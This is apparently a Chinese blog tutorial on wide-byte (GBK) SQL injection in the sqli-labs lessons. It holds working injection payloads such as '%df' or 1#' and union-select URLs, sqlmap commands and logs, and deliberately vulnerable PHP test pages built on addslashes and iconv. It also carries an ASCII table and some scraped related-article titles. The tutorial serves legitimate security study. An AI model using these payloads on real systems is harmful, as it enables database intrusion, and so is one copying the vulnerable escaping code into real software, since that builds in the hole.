1.AddSlashes()

首先来观察一下是如何通过构造吃掉转义字符的

先将less 34的网页编码换成gbk

加上一些输出

  1. echo "Before addslashes(): " . $uname1 . "<br/>";
  2. $uname = addslashes($uname1);
  3. $passwd= addslashes($passwd1);
  4. echo "After addslashes(): " . $uname . "<br/>";
  5.  
  6. //echo "username after addslashes is :".$uname ."<br>";
  7. //echo "Input password after addslashes is : ".$passwd;
  8.  
  9. // connectivity
  10. mysql_query("SET NAMES gbk");
  11. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  12. echo "SQL Statement: " . $sql . "<br/>";

POST提交

  1. uname=%df' or 1#&passwd=1

%df即ASCII码十六进制为df的字符  ß

(注:%df为URL编码,URL编码即是255个ASCII字符的十六进制数值加上一个前置的%,可参考:http://www.w3school.com.cn/tags/html_ref_urlencode.html)

POST提交

  1. uname' or 1#&passwd=

可以的到和提交%df一样的效果

现在来观察一下页面的输出

  1. Before addslashes(): ' or 1#
    After addslashes(): 運' or 1#

(注意在网页编码为UTF-8的时候  運 字是无法被显示的)

  1. After addslashes(): \' or 1#

addslashes()函数只是对单引号进行了转义处理,df字符没有做任何处理,在网页编码为GBK时,df 和 \ 字符合并成了一个gbk字符  運

在注入操作的时候,合并的过程是在MYSQL执行查询操作的时候

  1. SELECT username, password FROM users WHERE username='�\' or 1#' and password='1' LIMIT 0,1#注意此时输入的引号并没有引发闭合
  1. mysql_query("SET NAMES gbk");#由于客户端指定了编码gbk
  1. SELECT username, password FROM users WHERE username='運' or 1#' and password='1' LIMIT 0,1#查询语句由utf-8转向gbk编码,df 和 5c (即\)合并成为了一个gbk字符

理解了这个过程,再来看看GBK编码,编码的范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,字符 \ 的ASCII码为5C,在其低位范围内,就可能被吃掉,并且能吃掉它的字符不仅只有0xdf

取一个实验一下(参考: http://www.bo56.com/gbk汉字内码扩展规范编码表)

比如 乗 字符,GBK编码 815C

那么构造

  1. uname=%81' or 1#&passwd=

另外,GB2312编码范围是A1A1-FEFE,其中汉字编码范围:B0A1-F7FE,即高位A1~FE,低位A1~FE,字符 \ 的ASCII码为5C,不在其低位范围内,自然不会被吃掉。

 2.mysql_real_escape_string()

Less 36和Less 34用一样的payload注入,因此看不出来addslashes()和mysql_real_escape_string()的区别

参考:http://www.laruence.com/2010/04/12/1396.html

解释一下这个输出,

addslashes函数读取每个字节,915c按照两个字节读取,发现5c后进行转义: 915c --> 915c5c

控制台为gbk编码所以显示 慭\

第二个第三个输出都是一个原理

对于mysql_real_escape_string()函数,需要注意在使用mysql_set_charset("gbk")后,没有进行转义操作,

也就是说mysql_real_escape_string()函数正确读取了gbk字符(而不是两个ASCII字符,需要注意UTF-8对于ASCII字符的编码是和ASCII码相同的),

前面三种都属于一种 “误转义” ,因此,对于宽字节注入,可以使用第四种方式避免

来实验一下

参考:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=gbk" />
  5. <title>mysql_real_escape_string</title>
  6. </head>
  7. <body>
  8. <?php
  9. $conn = mysql_connect("localhost", "root", "toor") or die("Error!");
  10. //mysql_query("SET NAMES 'gbk'"); //mysql_set_charset包含了这个操作
  11. mysql_select_db("security", $conn);
  12. mysql_set_charset("gbk", $conn);
  13. $id = isset($_GET["id"]) ? mysql_real_escape_string($_GET["id"]) :1;
  14. $sql = "SELECT * FROM users WHERE id='{$id}'";
  15. echo $sql. "<br/>";
  16. $result = mysql_query($sql, $conn) or die(mysql_error());
  17. $row = mysql_fetch_array($result, MYSQL_ASSOC);
  18. echo "<h2>{$row['username']}</h2>";
  19. mysql_free_result($result);
  20. ?>
  21. </body>
  22. </html>

【1】正常提交

  1. http://localhost/1.php?id=1

【2】单引号提交(正确转义)

【3】尝试注入宽字节

如果引号闭合成功,union select 会返回结果,页面会有输出

  1. http://localhost/1.php?id=0%df' union select 1,2,3%23

并没有得到输出

来使用sqlmap测试一下

  1. python sqlmap.py -u http://localhost/mysql_real_escape_string.php?id=1 --tamper unmagicquotes.py --dbms mysql
  1. [19:18:02] [INFO] loading tamper script 'unmagicquotes'
  2. [19:18:02] [INFO] testing connection to the target URL
  3. [19:18:02] [INFO] testing if the target URL content is stable
  4. [19:18:03] [INFO] target URL content is stable
  5. [19:18:03] [INFO] testing if GET parameter 'id' is dynamic
  6. [19:18:03] [INFO] confirming that GET parameter 'id' is dynamic
  7. [19:18:03] [INFO] GET parameter 'id' is dynamic
  8. [19:18:03] [WARNING] reflective value(s) found and filtering out
  9. [19:18:03] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
  10. [19:18:03] [INFO] testing for SQL injection on GET parameter 'id'
  11. [19:18:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  12. [19:18:03] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
  13. [19:18:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
  14. [19:18:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
  15. [19:18:03] [INFO] testing 'MySQL inline queries'
  16. [19:18:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
  17. [19:18:03] [WARNING] time-based comparison requires larger statistical model, please wait.. (done)
  18. [19:18:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
  19. [19:18:04] [WARNING] GET parameter 'id' does not seem to be injectable
  20. [19:18:04] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests
  21.  
  22. [*] shutting down at 19:18:04

3.character_set_client=binary 和 iconv()

参考此处:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html#005-iconv

使用character_set_client=binary来避免宽字节注入,但误用iconv()函数导致的注入问题,可能发生在搜索框中

先看一下测试代码

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>iconv_utf2gbk</title>
  6. </head>
  7. <body>
  8. <?php
  9.  
  10. function strToHex($string)
  11. {
  12. $hex='';
  13. for ($i=0; $i < strlen($string); $i++)
  14. {
  15. $hex .= dechex(ord($string[$i]));
  16. }
  17. return $hex;
  18. }
  19.  
  20. $conn = mysql_connect("localhost", "root", "toor") or die("Error!");
  21. mysql_query("SET NAMES 'gbk'");
  22. mysql_select_db("security", $conn);
  23. mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
  24.  
  25. echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";
  26. $id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;
  27. echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";
  28.  
  29. // iconv(string $in_charset , string $out_charset , string $str )
  30. @$id = iconv('utf-8', 'gbk', $id);
  31. echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";
  32.  
  33. $sql = "SELECT * FROM users WHERE id='{$id}'";
  34. echo $sql. "<br/>";
  35. $result = mysql_query($sql, $conn) or die(mysql_error());
  36. $row = mysql_fetch_array($result, MYSQL_ASSOC);
  37. echo "<h2>{$row['username']}</h2>";
  38. mysql_free_result($result);
  39. ?>
  40. </body>
  41. </html>

一些正常的请求

(注意语句执行是成功的,只是没有查询结果而已)

一个可能造成注入的请求

  1. http://localhost/iconv_utf82gbk.php?id=錦

出现了MySQL的报错,注意SQL语句,\' 是 ' 的转义,用来闭合的单引号被转义了,SQL语句没有闭合,所以出现错误

来看一下产生的原因,錦 的UTF8编码为e98ca6(三个字节),GBK编码为e55c,character_set_client=binary使得 ' 被 5c 转义,语句没有闭合

同样,GBK编码低位为5c的都可以造成这个错误,運 GBK编码 df5c

那么利用这个5c,就可以造成注入了,

构造这个请求

  1. http://localhost/iconv_utf82gbk.php?id=運'%23

没有了错误,addslashes()函数转义了' 转义的\ 和5c 形成了一个新的转义(\的转义为\\),我们输入的 ' 成功闭合了语句,原来用来闭合的 ' 被 # 注释

  1. http://localhost/iconv_utf82gbk.php?id=運' union select 1,database(),3%23

sqlmap并不能发现这个注入点

>python sqlmap.py -u http://localhost/iconv_utf82gbk.php?id=1 -tamper unmagicquotes.py --dbms mysql

[21:06:27] [INFO] setting file for logging HTTP traffic
[21:06:27] [INFO] testing connection to the target URL
[21:06:27] [INFO] testing if the target URL content is stable
[21:06:28] [INFO] target URL content is stable
[21:06:28] [INFO] testing if GET parameter 'id' is dynamic
[21:06:28] [INFO] confirming that GET parameter 'id' is dynamic
[21:06:28] [INFO] GET parameter 'id' is dynamic
[21:06:28] [WARNING] reflective value(s) found and filtering out
[21:06:28] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[21:06:28] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[21:06:28] [INFO] testing for SQL injection on GET parameter 'id'
[21:06:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:06:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[21:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:06:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[21:06:29] [INFO] testing 'MySQL inline queries'
[21:06:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[21:06:29] [WARNING] time-based comparison requires larger statistical model, please wait.. (done)
[21:06:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:06:29] [WARNING] GET parameter 'id' does not seem to be injectable
[21:06:29] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')

[*] shutting down at 21:06:29

同样的,gbk转向utf-8时也会出现类似的漏洞

测试代码如下

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>iconv_gbk2utf</title>
  6. </head>
  7. <body>
  8. <?php
  9.  
  10. function strToHex($string)
  11. {
  12. $hex='';
  13. for ($i=0; $i < strlen($string); $i++)
  14. {
  15. $hex .= dechex(ord($string[$i]));
  16. }
  17. return $hex;
  18. }
  19.  
  20. $conn = mysql_connect("localhost", "root", "toor") or die("Error!");
  21. mysql_query("SET NAMES 'gbk'");
  22. mysql_select_db("security", $conn);
  23. mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
  24.  
  25. echo "id: " . $_GET["id"] ." ==> ". strToHex($_GET["id"]) . "<br/>";
  26. $id = isset($_GET["id"]) ? addslashes($_GET["id"]) :1;
  27. echo "addslashes(): " . $id ." ==> ". strToHex($id) . "<br/>";
  28.  
  29. // iconv(string $in_charset , string $out_charset , string $str )
  30. @$id = iconv('gbk', 'utf-8', $id);
  31. echo "iconv(): " . $id ." ==> ". strToHex($id) . "<br/>";
  32.  
  33. $sql = "SELECT * FROM users WHERE id='{$id}'";
  34. echo $sql. "<br/>";
  35. $result = mysql_query($sql, $conn) or die(mysql_error());
  36. $row = mysql_fetch_array($result, MYSQL_ASSOC);
  37. echo "<h2>{$row['username']}</h2>";
  38. mysql_free_result($result);
  39. ?>
  40. </body>
  41. </html>

构造请求

  1. http://localhost/iconv_gbk2utf8.php?id=1%e5%27%23

变回了一个普通的宽字节注入,e55c(GBK) 通过iconv函数转向了 e98ca6(UTF-8)

转义的 \ 在编码转换中消失了

  1. http://localhost/iconv_gbk2utf8.php?id=0%e5' union select 1,database(),3%23

4.总结一下

1.addslashes()函数和mysql_real_escape_string()函数并不等价,addslashes()函数无法抵御宽字节注入,配置正确的mysql_real_escape_string()函数可以抵御宽字节注入,但对于整型注入,这两个函数都无能为力。

2.错误的使用iconv()函数可能使得转义字符被吃掉,造成注入点。

附一个255位的ASCII码表

  1. Bin Dec Hex 缩写/字符 解释
  2.  
  3. 0000 0000 0 00 NUL (null) 空字符
  4. 0000 0001 1 01 SOH (start of handing) 标题开始
  5. 0000 0010 2 02 STX (start of text) 正文开始
  6. 0000 0011 3 03 ETX (end of text) 正文结束
  7. 0000 0100 4 04 EOT (end of transmission) 传输结束
  8. 0000 0101 5 05 ENQ (enquiry) 请求
  9. 0000 0110 6 06 ACK (acknowledge) 收到通知
  10. 0000 0111 7 07 BEL (bell) 响铃
  11. 0000 1000 8 08 BS (backspace) 退格
  12. 0000 1001 9 09 HT (horizontal tab) 水平制表符
  13. 0000 1010 10 0A LF (NL line feed, new line) 换行键
  14. 0000 1011 11 0B VT (vertical tab) 垂直制表符
  15. 0000 1100 12 0C FF (NP form feed, new page) 换页键
  16. 0000 1101 13 0D CR (carriage return) 回车键
  17. 0000 1110 14 0E SO (shift out) 不用切换
  18. 0000 1111 15 0F SI (shift in) 启用切换
  19. 0001 0000 16 10 DLE (data link escape) 数据链路转义
  20. 0001 0001 17 11 DC1 (device control 1) 设备控制1
  21. 0001 0010 18 12 DC2 (device control 2) 设备控制2
  22. 0001 0011 19 13 DC3 (device control 3) 设备控制3
  23. 0001 0100 20 14 DC4 (device control 4) 设备控制4
  24. 0001 0101 21 15 NAK (negative acknowledge) 拒绝接收
  25. 0001 0110 22 16 SYN (synchronous idle) 同步空闲
  26. 0001 0111 23 17 ETB (end of trans. block) 传输块结束
  27. 0001 1000 24 18 CAN (cancel) 取消
  28. 0001 1001 25 19 EM (end of medium) 介质中断
  29. 0001 1010 26 1A SUB (substitute) 替补
  30. 0001 1011 27 1B ESC (escape) 溢出
  31. 0001 1100 28 1C FS (file separator) 文件分割符
  32. 0001 1101 29 1D GS (group separator) 分组符
  33. 0001 1110 30 1E RS (record separator) 记录分离符
  34. 0001 1111 31 1F US (unit separator) 单元分隔符
  35. 0010 0000 32 20 空格
  36. 0010 0001 33 21 !
  37. 0010 0010 34 22 "
  38. 0010 0011 35 23 #
  39. 0010 0100 36 24 $
  40. 0010 0101 37 25 %
  41. 0010 0110 38 26 &
  42. 0010 0111 39 27 '
  43. 0010 1000 40 28 (
  44. 0010 1001 41 29 )
  45. 0010 1010 42 2A *
  46. 0010 1011 43 2B +
  47. 0010 1100 44 2C ,
  48. 0010 1101 45 2D -
  49. 0010 1110 46 2E .
  50. 0010 1111 47 2F /
  51. 0011 0000 48 30 0
  52. 0011 0001 49 31 1
  53. 0011 0010 50 32 2
  54. 0011 0011 51 33 3
  55. 0011 0100 52 34 4
  56. 0011 0101 53 35 5
  57. 0011 0110 54 36 6
  58. 0011 0111 55 37 7
  59. 0011 1000 56 38 8
  60. 0011 1001 57 39 9
  61. 0011 1010 58 3A :
  62. 0011 1011 59 3B ;
  63. 0011 1100 60 3C <
  64. 0011 1101 61 3D =
  65. 0011 1110 62 3E >
  66. 0011 1111 63 3F ?
  67. 0100 0000 64 40 @
  68. 0100 0001 65 41 A
  69. 0100 0010 66 42 B
  70. 0100 0011 67 43 C
  71. 0100 0100 68 44 D
  72. 0100 0101 69 45 E
  73. 0100 0110 70 46 F
  74. 0100 0111 71 47 G
  75. 0100 1000 72 48 H
  76. 0100 1001 73 49 I
  77. 0100 1010 74 4A J
  78. 0100 1011 75 4B K
  79. 0100 1100 76 4C L
  80. 0100 1101 77 4D M
  81. 0100 1110 78 4E N
  82. 0100 1111 79 4F O
  83. 0101 0000 80 50 P
  84. 0101 0001 81 51 Q
  85. 0101 0010 82 52 R
  86. 0101 0011 83 53 S
  87. 0101 0100 84 54 T
  88. 0101 0101 85 55 U
  89. 0101 0110 86 56 V
  90. 0101 0111 87 57 W
  91. 0101 1000 88 58 X
  92. 0101 1001 89 59 Y
  93. 0101 1010 90 5A Z
  94. 0101 1011 91 5B [
  95. 0101 1100 92 5C /
  96. 0101 1101 93 5D ]
  97. 0101 1110 94 5E ^
  98. 0101 1111 95 5F _
  99. 0110 0000 96 60 `
  100. 0110 0001 97 61 a
  101. 0110 0010 98 62 b
  102. 0110 0011 99 63 c
  103. 0110 0100 100 64 d
  104. 0110 0101 101 65 e
  105. 0110 0110 102 66 f
  106. 0110 0111 103 67 g
  107. 0110 1000 104 68 h
  108. 0110 1001 105 69 i
  109. 0110 1010 106 6A j
  110. 0110 1011 107 6B k
  111. 0110 1100 108 6C l
  112. 0110 1101 109 6D m
  113. 0110 1110 110 6E n
  114. 0110 1111 111 6F o
  115. 0111 0000 112 70 p
  116. 0111 0001 113 71 q
  117. 0111 0010 114 72 r
  118. 0111 0011 115 73 s
  119. 0111 0100 116 74 t
  120. 0111 0101 117 75 u
  121. 0111 0110 118 76 v
  122. 0111 0111 119 77 w
  123. 0111 1000 120 78 x
  124. 0111 1001 121 79 y
  125. 0111 1010 122 7A z
  126. 0111 1011 123 7B {
  127. 0111 1100 124 7C |
  128. 0111 1101 125 7D }
  129. 0111 1110 126 7E ~
  130. 0111 1111 127 7F DEL (delete) 删除
  131.  
  132. Extended ASCII
  133. 128 80 ?
  134. 129 81 �
  135. 130 82 ‚
  136. 131 83 ƒ
  137. 132 84 „
  138. 133 85 …
  139. 134 86 †
  140. 135 87 ‡
  141. 136 88 ˆ
  142. 137 89 ‰
  143. 138 8A Š
  144. 139 8B ‹
  145. 140 8C Œ
  146. 141 8D �
  147. 142 8E Ž
  148. 143 8F �
  149. 144 90 �
  150. 145 91 '
  151. 146 92 '
  152. 147 93 "
  153. 148 94 "
  154. 149 95 o
  155. 150 96 -
  156. 151 97 -
  157. 152 98 ˜
  158. 153 99 ™
  159. 154 9A š
  160. 155 9B ›
  161. 156 9C œ
  162. 157 9D �
  163. 158 9E ž
  164. 159 9F Ÿ
  165. 160 A0
  166. 161 A1 ¡
  167. 162 A2 ¢
  168. 163 A3 £
  169. 164 A4 ¤
  170. 165 A5 ¥
  171. 166 A6 ¦
  172. 167 A7 §
  173. 168 A8 ¨
  174. 169 A9 ©
  175. 170 AA ª
  176. 171 AB «
  177. 172 AC
  178. 173 AD
  179. 174 AE ®
  180. 175 AF ¯
  181. 176 B0 °
  182. 177 B1 ±
  183. 178 B2 ²
  184. 179 B3 ³
  185. 180 B4 ´
  186. 181 B5 µ
  187. 182 B6
  188. 183 B7 ·
  189. 184 B8
  190. 185 B9 ¹
  191. 186 BA º
  192. 187 BB »
  193. 188 BC ¼
  194. 189 BD ½
  195. 190 BE ¾
  196. 191 BF ¿
  197. 192 C0 À
  198. 193 C1 Á
  199. 194 C2 Â
  200. 195 C3 Ã
  201. 196 C4 Ä
  202. 197 C5 Å
  203. 198 C6 Æ
  204. 199 C7 Ç
  205. 200 C8 È
  206. 201 C9 É
  207. 202 CA Ê
  208. 203 CB Ë
  209. 204 CC Ì
  210. 205 CD Í
  211. 206 CE Î
  212. 207 CF Ï
  213. 208 D0 Ð
  214. 209 D1 Ñ
  215. 210 D2 Ò
  216. 211 D3 Ó
  217. 212 D4 Ô
  218. 213 D5 Õ
  219. 214 D6 Ö
  220. 215 D7 ×
  221. 216 D8 Ø
  222. 217 D9 Ù
  223. 218 DA Ú
  224. 219 DB Û
  225. 220 DC Ü
  226. 221 DD Ý
  227. 222 DE Þ
  228. 223 DF ß
  229. 224 E0 à
  230. 225 E1 á
  231. 226 E2 â
  232. 227 E3 ã
  233. 228 E4 ä
  234. 229 E5 å
  235. 230 E6 æ
  236. 231 E7 ç
  237. 232 E8 è
  238. 233 E9 é
  239. 234 EA ê
  240. 235 EB ë
  241. 236 EC ì
  242. 237 ED í
  243. 238 EE î
  244. 239 EF ï
  245. 240 F0 ð
  246. 241 F1 ñ
  247. 242 F2 ò
  248. 243 F3 ó
  249. 244 F4 ô
  250. 245 F5 õ
  251. 246 F6 ö
  252. 247 F7 ÷
  253. 248 F8 ø
  254. 249 F9 ù
  255. 250 FA ú
  256. 251 FB û
  257. 252 FC ü
  258. 253 FD ý
  259. 254 FE þ
  260. 255 FF ÿ

以wiki上的图为准

【sqli-labs】 对于less34 less36的宽字节注入的一点深入的更多相关文章

  1. 【sqli-labs】 less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)

    还是宽字节注入,POST版本的 uname=1&passwd=1%df' union select 1,2,3# 提交报错 列名不匹配,改一下就好了 uname=1&passwd=1% ...

  2. sqli-labs less32-37(宽字节注入)

    less-32 Bypass addslashes() less-33 Bypass addslashes() less-34 Bypass Add SLASHES less-35 addslashe ...

  3. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  4. MYSQL注入天书之宽字节注入

    Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解 ...

  5. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  6. Mysql宽字节注入(转)

    尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...

  7. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  8. sqli-labs(十四)(宽字节注入)

    数据库使用gbk编码的时候,会将两个字符合并成一个中文. 写在前面吧,对php的代码审计也会有帮助 直接使用 set character_set_client=gbk 或者是常见的mysql_quer ...

  9. SQL宽字节注入

    0x00 概述 - 什么是宽字节注入? 宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可 -宽字节注入的条件 1) 数据库查询设置为GBK编码 2 ...

随机推荐

  1. git/svn里面的merge和rebase区别

    现在一般都用界面化的东西了,这种用法相近的命令行知不知道区别都可以.但是有些人喜欢研究,那么我来个传送门: 当我们用命令行操作git的时候,merge和rebase 有什么区别,请参考 https:/ ...

  2. C# PDF Page操作——设置页面切换按钮 C# 添加、读取Word脚注尾注 C#为什么不能像C/C++一样的支持函数只读传参 web 给大家分享一个好玩的东西,也许你那块就用的到

    C# PDF Page操作——设置页面切换按钮   概述 在以下示例中,将介绍在PDF文档页面设置页面切换按钮的方法.示例中将页面切换按钮的添加分为了两种情况,一种是设置按钮跳转到首页.下页.上页或者 ...

  3. Redis3.0--集群安装部署

    准备环境 操作系统:CentOS6.5  Redis3.0.0 192.168.3.154 192.168.3.158 192.168.3.160 192.168.3.162 一.安装 安装文件夹 / ...

  4. 【OI】对拍

    对拍的方法是先用生成器生成几组随机数据,然后用暴力算法和当前算法对比结果来确保正确性. 数据生成器: 引入cstdlib与ctime两个库,然后通过srand初始化随机数: srand(time(0) ...

  5. CF 600 E Lomsat gelral —— 树上启发式合并

    题目:http://codeforces.com/contest/600/problem/E 看博客:https://blog.csdn.net/blue_kid/article/details/82 ...

  6. jquery easyui-datagrid手动增加删除重置行

    1.实现的效果图如下 2.界面: <div region="center">         <table id="tt">       ...

  7. FreeMarker:什么是 FreeMarker?

    ylbtech-FreeMarker:什么是 FreeMarker? 1.返回顶部 1. FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电 ...

  8. 用C#读取txt文件的方法(转)

    .使用FileStream读写文件 文件头: using System; using System.Collections.Generic; using System.Text; using Syst ...

  9. Eclipse导入Java 的jar包的方法

    打开eclipse1.右击要导入jar包的项目,点properties 2.左边选择java build path,右边选择libraries 3.选择add External jars 4.选择ja ...

  10. centos7的systemd

    系统启动流程 POST --> Boot Sequence --> Bootloader --> kernel+initramfs(initrd) --> rootfs --& ...